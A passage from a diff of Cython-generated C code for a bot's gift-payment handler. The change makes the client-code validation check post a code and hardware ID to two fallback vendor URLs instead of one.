(unlikely(!__pyx_t_2)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -10051,10 +10101,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__43}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__41}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 349, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -10066,15 +10116,38 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine } - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L1_error) + __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ClientTimeout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 352, __pyx_L1_error) + __Pyx_INCREF(__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + __Pyx_GIVEREF(__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_pocomacho_ru_solonetbot_co)) __PYX_ERR(0, 359, __pyx_L1_error); + __Pyx_INCREF(__pyx_kp_u_https_solobot_ru_solonetbot_code); + __Pyx_GIVEREF(__pyx_kp_u_https_solobot_ru_solonetbot_code); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u_https_solobot_ru_solonetbot_code)) __PYX_ERR(0, 359, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_urls = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 363, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_code, __pyx_t_3) < 0) __PYX_ERR(0, 363, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_hardware_id, __pyx_cur_scope->__pyx_v_hardware_id) < 0) __PYX_ERR(0, 363, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payload = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ClientTimeout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_total, __pyx_int_5) < 0) __PYX_ERR(0, 352, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 352, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_total, __pyx_int_5) < 0) __PYX_ERR(0, 364, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -10082,6 +10155,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_cur_scope->__pyx_v_timeout = __pyx_t_2; __pyx_t_2 = 0; + __pyx_cur_scope->__pyx_v_all_failed = 1; + { __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); __Pyx_XGOTREF(__pyx_t_7); @@ -10090,21 +10165,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine /*try:*/ { /*with:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 354, __pyx_L5_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ClientSession); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 354, __pyx_L5_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ClientSession); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 354, __pyx_L5_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_timeout, __pyx_cur_scope->__pyx_v_timeout) < 0) __PYX_ERR(0, 354, __pyx_L5_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 354, __pyx_L5_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_timeout, __pyx_cur_scope->__pyx_v_timeout) < 0) __PYX_ERR(0, 368, __pyx_L5_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_10 = __Pyx_PyObject_LookupSpecial(__pyx_t_3, __pyx_n_s_aexit); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 354, __pyx_L5_error) + __pyx_t_10 = __Pyx_PyObject_LookupSpecial(__pyx_t_3, __pyx_n_s_aexit); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_1 = __Pyx_PyObject_LookupSpecial(__pyx_t_3, __pyx_n_s_aenter); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 354, __pyx_L11_error) + __pyx_t_1 = __Pyx_PyObject_LookupSpecial(__pyx_t_3, __pyx_n_s_aenter); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 368, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = NULL; __pyx_t_4 = 0; @@ -10124,7 +10199,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 354, __pyx_L11_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -10164,11 +10239,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; __pyx_cur_scope->__pyx_t_4 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L11_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 368, __pyx_L11_error) __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); } else { __pyx_t_2 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 354, __pyx_L11_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 368, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); } __pyx_t_1 = __pyx_t_2; @@ -10185,675 +10260,1001 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_cur_scope->__pyx_v_session = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 355, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_code, __pyx_t_3) < 0) __PYX_ERR(0, 355, __pyx_L16_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_hardware_id, __pyx_cur_scope->__pyx_v_hardware_id) < 0) __PYX_ERR(0, 355, __pyx_L16_error) - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_payload = ((PyObject*)__pyx_t_1); - __pyx_t_1 = 0; - - /*with:*/ { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_post); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_payload) < 0) __PYX_ERR(0, 356, __pyx_L16_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__44, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_15 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aexit); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_15); - __pyx_t_1 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aenter); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_11 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_11)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_11); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_1, function); - __pyx_t_4 = 1; - } - } - #endif + __pyx_t_1 = __pyx_cur_scope->__pyx_v_urls; __Pyx_INCREF(__pyx_t_1); + __pyx_t_15 = 0; + for (;;) { { - PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 356, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 369, __pyx_L16_error) + #endif + if (__pyx_t_15 >= __pyx_temp) break; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_2); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; - __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_t_14); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 2; - return __pyx_r; - __pyx_L23_resume_from_await:; - __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_2); - __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_t_13); - __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; - __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; - __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L22_error) - __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); - } else { - __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 356, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_3); - } - __pyx_t_1 = __pyx_t_3; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_15); __Pyx_INCREF(__pyx_t_3); __pyx_t_15++; if (unlikely((0 < 0))) __PYX_ERR(0, 369, __pyx_L16_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_15); __pyx_t_15++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 369, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_url); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_url, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /*try:*/ { - { - __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); - __Pyx_XGOTREF(__pyx_t_16); - __Pyx_XGOTREF(__pyx_t_17); - __Pyx_XGOTREF(__pyx_t_18); - /*try:*/ { - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_response = __pyx_t_1; - __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 357, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_1, __pyx_int_200, 0xC8, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 357, __pyx_L27_error) - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (__pyx_t_6) { + { + __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + /*try:*/ { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 358, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_2))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); - __Pyx_INCREF(__pyx_t_3); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_2, function); - __pyx_t_4 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 358, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_t_14); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; - __Pyx_XGIVEREF(__pyx_t_16); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; - __Pyx_XGIVEREF(__pyx_t_17); - __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; - __Pyx_XGIVEREF(__pyx_t_18); - __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 3; - return __pyx_r; - __pyx_L34_resume_from_await:; - __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; - __Pyx_XGOTREF(__pyx_t_15); - __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; - __Pyx_XGOTREF(__pyx_t_16); - __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; - __pyx_cur_scope->__pyx_t_9 = 0; - __Pyx_XGOTREF(__pyx_t_17); - __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; - __pyx_cur_scope->__pyx_t_10 = 0; - __Pyx_XGOTREF(__pyx_t_18); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 358, __pyx_L27_error) - __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); - } else { - __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 358, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_1); - } - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_data = __pyx_t_1; - __pyx_t_1 = 0; - - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 359, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_2))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); - __Pyx_INCREF(__pyx_t_3); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_2, function); - __pyx_t_4 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_status}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - } - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 359, __pyx_L27_error) - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (__pyx_t_6) { - - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); - goto __pyx_L31_try_return; - - } - - /*else*/ { - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); - goto __pyx_L31_try_return; - } - - } - - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L27_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_1, __pyx_int_502, 0x1F6, 0)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 363, __pyx_L27_error) - if (!__pyx_t_5) { - } else { - __pyx_t_6 = __pyx_t_5; - goto __pyx_L36_bool_binop_done; - } - __pyx_t_5 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_1, __pyx_int_404, 0x194, 0)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 363, __pyx_L27_error) - __pyx_t_6 = __pyx_t_5; - __pyx_L36_bool_binop_done:; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_5 = __pyx_t_6; - if (__pyx_t_5) { - - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); - goto __pyx_L31_try_return; - - } - - /*else*/ { - __Pyx_XDECREF(__pyx_r); - __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); - goto __pyx_L31_try_return; - } - - } - __pyx_L27_error:; - __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - /*except:*/ { - __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 356, __pyx_L29_except_error) - __Pyx_XGOTREF(__pyx_t_1); - __Pyx_XGOTREF(__pyx_t_2); - __Pyx_XGOTREF(__pyx_t_3); - __pyx_t_11 = PyTuple_Pack(3, __pyx_t_1, __pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 356, __pyx_L29_except_error) + /*with:*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_post); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_url); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_url); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_url)) __PYX_ERR(0, 371, __pyx_L24_error); + __pyx_t_11 = 